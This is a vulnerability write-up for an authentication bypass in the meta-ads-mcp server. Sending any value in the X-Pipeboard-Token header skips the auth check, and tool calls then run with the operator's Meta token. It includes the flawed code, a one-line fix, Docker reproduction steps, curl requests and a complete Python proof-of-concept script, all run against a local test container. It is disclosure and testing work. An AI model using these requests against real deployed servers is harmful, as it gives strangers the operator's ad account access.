meta-ads-mcp: X-Pipeboard-Token Header Auth Bypass Reuses Operator Meta Token

 1# http_auth_integration.py:255-260
 2auth_token = FastMCPAuthIntegration.extract_token_from_headers(dict(request.headers))
 3pipeboard_token = FastMCPAuthIntegration.extract_pipeboard_token_from_headers(dict(request.headers))
 4 
 5if not auth_token and not pipeboard_token:      # ← bypass condition
 6    return Response(..., status_code=401)

 1auth_token      = None          # not set → guard reads False for left operand
 2pipeboard_token = "<anything>"  # truthy  → guard reads False for right operand
 3→ (not None) and (not "<anything>") = True and False = False → 401 never returned

 1# auth.py:443-453
 2env_token = os.environ.get("META_ACCESS_TOKEN")
 3if env_token:
 4    return env_token

 1--- a/meta_ads_mcp/core/http_auth_integration.py
 2+++ b/meta_ads_mcp/core/http_auth_integration.py
 3-        if not auth_token and not pipeboard_token:
 4+        if not auth_token:

 1docker build \
 2  -t vuln001-meta-ads-mcp \
 3  -f /path/to/vuln-001/Dockerfile \
 4  /path/to/meta-ads-mcp-repo/

 1docker run -d -p 8081:8080 --name vuln001-test vuln001-meta-ads-mcp

 1curl -i -X POST http://127.0.0.1:8081/mcp \
 2  -H 'Content-Type: application/json' \
 3  -H 'Accept: application/json, text/event-stream' \
 4  -d '{"jsonrpc":"2.0","id":1,"method":"tools/list","params":{}}'
 5# Expected: HTTP/1.1 401  {"error":"Unauthorized",...}

 1curl -i -X POST http://127.0.0.1:8081/mcp \
 2  -H 'Content-Type: application/json' \
 3  -H 'Accept: application/json, text/event-stream' \
 4  -H 'X-Pipeboard-Token: attacker-controlled-not-validated' \
 5  -d '{"jsonrpc":"2.0","id":1,"method":"tools/list","params":{}}'
 6# Expected: HTTP/1.1 200  {"jsonrpc":"2.0","result":{"tools":[...]}}  (37 tools listed)

 1curl -i -X POST http://127.0.0.1:8081/mcp \
 2  -H 'Content-Type: application/json' \
 3  -H 'Accept: application/json, text/event-stream' \
 4  -H 'X-Pipeboard-Token: attacker-controlled-not-validated' \
 5  -d '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"get_ad_accounts","arguments":{"limit":1}}}'
 6# Expected: HTTP 200 + Meta OAuthException (code 190) proving FAKE_OPERATOR_META_TOKEN
 7# was forwarded to Meta. With a real operator token, ad account data is returned.

 1python3 /path/to/vuln-001/poc.py http://127.0.0.1:8081/mcp

 1Test 1 (no auth header)         → HTTP 401  {"error":"Unauthorized",...}
 2Test 2 (X-Pipeboard-Token only) → HTTP 200  {"jsonrpc":"2.0","result":{"tools":[...]}}  (37 tools)
 3Test 3 (tools/call, same header)→ HTTP 200  {"error":{"message":"Invalid OAuth access token data.","type":"OAuthException","code":190}}

 1# VULN-001 PoC: X-Pipeboard-Token Auth Bypass (CWE-287)
 2# Runs meta-ads-mcp in streamable-http mode with a fake operator META_ACCESS_TOKEN.
 3# The server enforces auth via AuthInjectionMiddleware, but the bypass allows
 4# X-Pipeboard-Token alone to pass the middleware and reach tool handlers,
 5# which then fall back to the operator's META_ACCESS_TOKEN.
 6FROM python:3.11-slim
 7 
 8WORKDIR /app
 9 
10# Install system dependencies
11RUN apt-get update && apt-get install -y --no-install-recommends \
12        curl \
13    && rm -rf /var/lib/apt/lists/*
14 
15# Copy repository source (build context must be the repo root)
16COPY . /app
17 
18# Install the package and its dependencies
19RUN pip install --no-cache-dir -e .
20 
21# Fake operator token: length >= 20 so the server's basic validation passes.
22# This is NOT a real Meta token — used only to prove the bypass path
23# that reaches auth.py:446-453 (META_ACCESS_TOKEN fallback).
24ENV META_ACCESS_TOKEN=FAKE_OPERATOR_META_TOKEN_ABCDEF1234567890
25ENV META_APP_ID=999999999999999
26 
27# Disable any browser-launch attempts during startup
28ENV DISPLAY=
29 
30EXPOSE 8080
31 
32# Start the MCP server with streamable-http transport.
33# --host 0.0.0.0 is required so the container port is reachable from the host.
34CMD ["python", "-m", "meta_ads_mcp", \
35     "--transport", "streamable-http", \
36     "--host", "0.0.0.0", \
37     "--port", "8080"]

 1#!/usr/bin/env python3
 2"""
 3PoC for VULN-001: X-Pipeboard-Token Header Auth Bypass Reuses Operator Meta Token
 4 
 5CVE class : CWE-287 Improper Authentication
 6Package   : meta-ads-mcp 1.0.113
 7File      : meta_ads_mcp/core/http_auth_integration.py:259
 8 
 9Vulnerability summary
10---------------------
11AuthInjectionMiddleware rejects requests only when BOTH auth_token AND
12pipeboard_token are absent (line 259):
13    if not auth_token and not pipeboard_token:
14        return Response(status_code=401)
15 
16extract_token_from_headers() (lines 77-95) does NOT recognise the
17"X-Pipeboard-Token" header — only "Authorization: Bearer",
18"X-META-ACCESS-TOKEN", and "X-PIPEBOARD-API-TOKEN".
19 
20extract_pipeboard_token_from_headers() (line 108) DOES recognise
21"X-Pipeboard-Token".
22 
23Consequence: an attacker that sends only "X-Pipeboard-Token: <anything>"
24makes auth_token=None and pipeboard_token="<anything>". The bypass
25condition becomes:
26    if not None and not "<anything>":   # False — request passes
27No auth context is set; the token getter (http_auth_integration.py:163-168)
28falls back to get_current_access_token() in auth.py which returns the server
29operator's META_ACCESS_TOKEN (auth.py:446-453). Tool calls then run as the
30operator.
31 
32Expected evidence
33-----------------
34Test 1  No auth header  →  HTTP 401 from middleware
35Test 2  X-Pipeboard-Token: <attacker value>  →  HTTP != 401 from MCP layer
36        (proves bypass; further tool calls use operator token)
37 
38Usage
39-----
40The MCP server must already be running and reachable at 127.0.0.1:8080.
41    docker run -d -p 8080:8080 --name vuln001 vuln001-meta-ads-mcp
42    python3 poc.py
43"""
44 
45import json
46import sys
47import time
48import urllib.error
49import urllib.request
50 
51# ---------------------------------------------------------------------------
52# Default server URL; override via first CLI arg: python3 poc.py http://host:port/mcp
53import os as _os
54 
55_DEFAULT_URL = "http://127.0.0.1:8080/mcp"
56SERVER_URL = (
57    sys.argv[1] if len(sys.argv) > 1 else _os.environ.get("MCP_SERVER_URL", _DEFAULT_URL)
58)
59# Arbitrary attacker-controlled value — NOT validated by the server
60ATTACKER_PIPEBOARD_TOKEN = "attacker-controlled-not-validated-xyz1234567890"
61SERVER_READY_TIMEOUT = 90  # seconds
62# ---------------------------------------------------------------------------
63 
64 
65def http_post(url: str, headers: dict, body: dict) -> tuple:
66    """Send a JSON-encoded POST request; return (http_status, response_text)."""
67    data = json.dumps(body).encode()
68    req = urllib.request.Request(url, data=data, headers=headers, method="POST")
69    try:
70        with urllib.request.urlopen(req, timeout=10) as resp:
71            return resp.status, resp.read().decode("utf-8", errors="replace")
72    except urllib.error.HTTPError as exc:
73        return exc.code, exc.read().decode("utf-8", errors="replace")
74    except Exception as exc:
75        return None, str(exc)
76 
77 
78def wait_for_server(timeout: int = SERVER_READY_TIMEOUT) -> bool:
79    """
80    Poll until the server returns any HTTP response (even 401).
81    Returns True when ready, False on timeout.
82    """
83    deadline = time.time() + timeout
84    attempt = 0
85    while time.time() < deadline:
86        status, _ = http_post(
87            SERVER_URL,
88            {"Content-Type": "application/json"},
89            {"jsonrpc": "2.0", "id": 0, "method": "ping"},
90        )
91        if status is not None:
92            return True
93        attempt += 1
94        if attempt % 5 == 0:
95            elapsed = int(time.time() - (deadline - timeout))
96            print(f"    ... still waiting ({elapsed}s elapsed)")
97        time.sleep(1)
98    return False
99 
100 
101def run_test(label: str, headers: dict, payload: dict) -> tuple:
102    """Run one request, print result, and return (status, body)."""
103    print(f"\n[*] {label}")
104    status, body = http_post(SERVER_URL, headers, payload)
105    print(f"    HTTP Status : {status}")
106    # Print up to 600 chars so long MCP responses are readable
107    print(f"    Response    : {body[:600]}")
108    return status, body
109 
110 
111def main() -> int:
112    print("=" * 65)
113    print("VULN-001 PoC: X-Pipeboard-Token Auth Bypass")
114    print("meta-ads-mcp 1.0.113 | CWE-287 Improper Authentication")
115    print("=" * 65)
116 
117    # -----------------------------------------------------------------------
118    print("\n[*] Waiting for MCP server to be ready ...")
119    if not wait_for_server():
120        print(f"[-] ERROR: Server did not respond within {SERVER_READY_TIMEOUT}s")
121        return 2
122    print("[+] Server is ready")
123 
124    # Common headers for all requests
125    base_headers = {
126        "Content-Type": "application/json",
127        "Accept": "application/json, text/event-stream",
128    }
129 
130    # A minimal MCP JSON-RPC payload.  In stateless-HTTP mode the server
131    # processes each request independently; tools/list does not require a
132    # prior initialize handshake.
133    list_payload = {
134        "jsonrpc": "2.0",
135        "id": 1,
136        "method": "tools/list",
137        "params": {},
138    }
139 
140    # -----------------------------------------------------------------------
141    # Test 1: No authentication — must be rejected with 401
142    # -----------------------------------------------------------------------
143    status1, body1 = run_test(
144        "Test 1: POST /mcp — no auth header at all",
145        base_headers,
146        list_payload,
147    )
148 
149    if status1 != 401:
150        print(f"[-] UNEXPECTED: Expected HTTP 401 without auth, got {status1}")
151        print("    Middleware may not be active. Cannot assess bypass.")
152        return 2
153 
154    try:
155        parsed = json.loads(body1)
156        if parsed.get("error") != "Unauthorized":
157            print("[-] UNEXPECTED body (expected {\"error\": \"Unauthorized\"})")
158            return 2
159    except json.JSONDecodeError:
160        pass  # Body format is secondary evidence
161 
162    print("[+] CONFIRMED: No-auth request correctly rejected with HTTP 401")
163 
164    # -----------------------------------------------------------------------
165    # Test 2: Only X-Pipeboard-Token — must NOT be 401 if bypass works
166    #
167    # Vulnerability logic (http_auth_integration.py:259):
168    #   auth_token    = extract_token_from_headers(headers)       -> None
169    #   pipeboard_token = extract_pipeboard_token_from_headers(headers) -> ATTACKER_VALUE
170    #   if not None and not ATTACKER_VALUE:   # evaluates False -> request passes
171    #   # set_auth_token() never called -> auth context stays None
172    #   # tool getter falls back to META_ACCESS_TOKEN env var
173    # -----------------------------------------------------------------------
174    bypass_headers = {
175        **base_headers,
176        "X-Pipeboard-Token": ATTACKER_PIPEBOARD_TOKEN,
177    }
178    status2, body2 = run_test(
179        f"Test 2: POST /mcp — only X-Pipeboard-Token: {ATTACKER_PIPEBOARD_TOKEN}",
180        bypass_headers,
181        list_payload,
182    )
183 
184    if status2 == 401:
185        print("\n[-] BYPASS FAILED: Got HTTP 401 with X-Pipeboard-Token.")
186        print("    The vulnerability may have been patched on this build.")
187        return 1
188 
189    print(f"\n[+] AUTH BYPASS CONFIRMED: HTTP {status2} (not 401)")
190    print("    The middleware accepted the request with X-Pipeboard-Token alone.")
191    print("    auth_token was None -> set_auth_token() not called ->")
192    print("    get_auth_token() returns None -> META_ACCESS_TOKEN fallback active.")
193 
194    # Extra detail: check if we can see MCP tool names in the response
195    try:
196        parsed2 = json.loads(body2)
197        tools = parsed2.get("result", {}).get("tools", [])
198        if tools:
199            print(f"\n    MCP tools/list returned {len(tools)} tools (server fully reachable):")
200            for t in tools[:5]:
201                print(f"      - {t.get('name', '?')}")
202    except Exception:
203        pass
204 
205    # -----------------------------------------------------------------------
206    # Test 3: tools/call get_ad_accounts — operator token forwarded to Meta
207    # The Meta Graph API will reject the FAKE token, but the error response
208    # proves the request reached Meta (not the local 401 guard).
209    # -----------------------------------------------------------------------
210    call_payload = {
211        "jsonrpc": "2.0",
212        "id": 2,
213        "method": "tools/call",
214        "params": {
215            "name": "get_ad_accounts",
216            "arguments": {"limit": 1},
217        },
218    }
219    status3, body3 = run_test(
220        "Test 3: tools/call get_ad_accounts with X-Pipeboard-Token only",
221        bypass_headers,
222        call_payload,
223    )
224 
225    if status3 != 401:
226        print(f"\n[+] OPERATOR TOKEN CONFIRMED IN USE: HTTP {status3}")
227        print("    The tool call was not blocked locally. The server forwarded")
228        print("    the request to Meta Graph API using META_ACCESS_TOKEN.")
229        if "OAuthException" in body3 or "Invalid OAuth" in body3:
230            print("    Meta Graph API returned an OAuthException about the")
231            print("    FAKE_OPERATOR_META_TOKEN — confirming the token was forwarded.")
232        elif "error" in body3.lower():
233            print("    Meta Graph API (or MCP layer) returned an error response")
234            print("    — the request reached the tool handler, not the local 401 guard.")
235    else:
236        print("[!] Note: tools/call returned 401 — may need MCP initialize first")
237 
238    # -----------------------------------------------------------------------
239    print("\n" + "=" * 65)
240    print("RESULT: PASS — VULN-001 reproduced")
241    print()
242    print("Evidence:")
243    print(f"  Test 1 (no header)           -> HTTP {status1} (blocked by middleware)")
244    print(f"  Test 2 (X-Pipeboard-Token)   -> HTTP {status2} (BYPASSES middleware)")
245    print()
246    print("The distinction proves that AuthInjectionMiddleware at")
247    print("http_auth_integration.py:259 is the exploitable boundary.")
248    print("An attacker can reach all MCP tools as the server operator by")
249    print('sending any value in the "X-Pipeboard-Token" header.')
250    print("=" * 65)
251    return 0
252 
253 
254if __name__ == "__main__":
255    sys.exit(main())